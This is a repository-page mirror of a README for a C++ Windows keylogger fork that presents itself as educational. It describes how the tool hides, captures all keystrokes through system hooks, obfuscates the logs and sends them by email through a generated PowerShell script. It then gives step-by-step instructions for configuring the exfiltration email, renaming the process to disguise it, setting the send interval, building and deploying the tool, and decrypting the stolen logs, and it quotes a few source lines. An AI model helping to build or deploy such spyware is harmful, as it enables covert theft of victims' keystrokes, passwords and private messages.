Coder Social home page Coder Social logo

darocha / cpp-keylogger Goto Github PK

View Code? Open in Web Editor NEW

This project forked from htmercury/cpp-keylogger

0.0 1.0 0.0 88 KB

Advanced keylogger made in C++ that works on Window 7, 8, 8.1, And 10 - Use at your own discretion

License: MIT License

C++ 94.50% PowerShell 5.50%

cpp-keylogger's Introduction

Cpp-Keylogger (Completed)

Advanced keylogger made in C++ that works on Window 7, 8, 8.1, And 10 - Use at your own discretion

This is a keylogger I learned from Udemy for educational purposes. Please do not use this code for illegal or immoral purposes and keep it open source! The project also includes a decryption program will accepts an encrypted log file and translates it to a human readable language.
If you would like to take the course yourself, check it out here.

Table of Contents

Features

  • Lots of comments in each of the source files for the user
  • Low-resource usage/non-intensive process and generates no windows when ran
  • Asynchronous execution of processes
  • Capture all keystrokes using system hooks
  • Automatically log the time and date when a log file is produced
  • Uses Base64 encryption with slight modifications and encodes the log multiple times
  • Generates and invokes a powershell script that can attach the encrypted log and email it
  • Lots of customization options in the source code for user to modify:
    • Name of the process
    • Email to send from and send to
    • Time between each log file generation
    • Format how keys are recorded
    • Keys to exclude from recording

Important Information

  • Log files by default are stored in C:\Users($User)\AppData\Roaming\Microsoft\CLR
  • AppLog files are produced in the location when the keylogger is ran for debugging purposes
  • Problems may occur if the Keylogger in ran multiple times when one is still running
  • Default name to look for in the task manager to end the keylogger process is Keylogger.exe

Prerequisites

What things you need to install the software and how to install them

* Visual Studio preferably or any IDE of your choice
* C++11 standards must be enabled and if using GCC compilter, -mwindows flag needs to be checked

Installing

A step by step series of examples that tell you have to get a development environment running

Download the repository using either bash or the browser

git clone https://github.com/htmercury/Cpp-Keylogger

Open the solution file in Visual Studio using the sln file

located at ..\Cpp-Keylogger\Keylogger.sln

For other IDEs, make a project that includes all source and header files

located at ..\Cpp-Keylogger\Keylogger

Setting it up

Listed below are various options the user can interact with the source code for their specific usage.

Email

Required if user wants the log to be sent to an email.

Open SendMail.h

located at ..\Cpp-Keylogger\Keylogger\SendMail.h

Edit line 16 for where the log should be sent from (default: gmail only, look at Other Emails section for changing that)

line 16: #define X_EM_TO "[email protected]" // change the string to source email

Edit line 17 for where the log should be sent to (can be same as above or any other email is fine)

line 17: #define X_EM_FROM "Address of sender" // change the string to destination email

Edit line 18 for powershell to login to source email (required for email to be sent)

line 18: X_EM_PASS "password" // change the string to password of source email

Configuring the Source Email

For gmail, allow less secure apps access your source email so the program can construct and send the email. The steps needed to do this is documented here on Google Support.
Refer to Other Emails section if the source email is not gmail.

SKIP OTHER EMAILS SECTION IF SOURCE EMAIL IS GMAIL

Other Emails

OPTIONAL: If you want to use another email other than gmail as the source email, then follow these steps.

Open SendMail.h

located at ..\Cpp-Keylogger\Keylogger\SendMail.h

Edit line 39 with your email port number which can be searched up

line 39: "           $Client = New-Object Net.Mail.SmtpClient($Srv, 587) #587 port for smtp.gmail.com SSL\r\n "

Configuring Other Emails

Look up permissions respectively for your source email that allow less secure apps to access that source email.

Decrypting the log files

Follow these steps to decrypt any received log files

Open the Decryption program solution with Visual Studio

located at ..\Cpp-Keylogger\Keylogger-Decrypt.sln

For other IDEs, make a project that includes all source files

located at ..\Cpp-Keylogger\Keylogger-Decrypt\

Build the solution, and find the exe (default: located at ../Cpp-Keylogger/Debug)

located at ..\Cpp-Keylogger\Debug\Keylogger-Decrypt.exe

Open a command prompt window at that directory

cd ..\Cpp-Keylogger\Debug\

Run the decryption program which takes in a input file and a output file which contains the decrypted contents

.\Keylogger-Decrypt.exe "inputfile.log" "outputfile.log"

Customization

OPTIONAL changes the user can make to the source code to fit their needs.

Naming the Process

The name of the process can simply be changed by renaming the .exe file of the built solution

Build the solution

Build -> Build Solution
The .exe file should be located by default in ..\Cpp-Keylogger\Debug\Keylogger.exe

Rename the built Keylogger.exe file

Setting the Interval Time

Here, the user can set the interval at which each log file is created and sent

Open KeybHook.h

located at ..\Cpp-Keylogger\Keylogger\KeybHook.h

Edit line 36 with the desired time (default is 30 seconds)

line 36: Timer MailTimer(TimerSendMail, 500 * 60, Timer::Infinite); // change the second argument to desired time (milliseconds)

Formatting Each Read Letter

Here, the user can set how the log file formats the read keys

Open Helper.h

located at ..\Cpp-Keylogger\Keylogger\Helper.h

Edit lines 77 - 83 to change how single keys are formated

line 77: void WriteAppLog(const std::string &s) // function responsible for format of each key in log (default: [a][b][c])

Excluding Certain Keys

Here, the user can exclude keys they don't want to be logged

Open KeybHook.h

located at ..\Cpp-Keylogger\Keylogger\KeybHook.h

Take a look at lines 40 - 72

line 40: LRESULT OurKeyBoardProc(int nCode, WPARAM wparam, LPARAM lparam) // function responsible for reading and handling certain key presses

Add in necessary if statements and desired format when a certain key is pressed (ex: by default pressing enter inserts "\n" to the log)

Deploying the Keylogger From the Source Code

Here, the user builds the solution to an .exe file

Open the solution file in Visual Studio using the sln file

located at ..\Cpp-Keylogger\Keylogger.sln

For other IDEs, make a project that includes all source and header files

located at ..\Cpp-Keylogger\Keylogger

Build the solution

Build -> Build Solution
The .exe file should be located by default in ..\Cpp-Keylogger\Debug\Keylogger.exe

License

This project is licensed under the MIT License - see the LICENSE.md file for details

Disclaimer

Any usage of this keylogger on a computer that is not owned by you or do not have permissions, YOU ARE RESPONSIBLE FOR THE OUTCOME. Not me.

Acknowledgments

Hat tip to Ermin's amazing course on creating a keylogger, check out his profile and other courses here!

cpp-keylogger's People

Contributors

htmercury avatar

Watchers

Marcelo Darocha avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.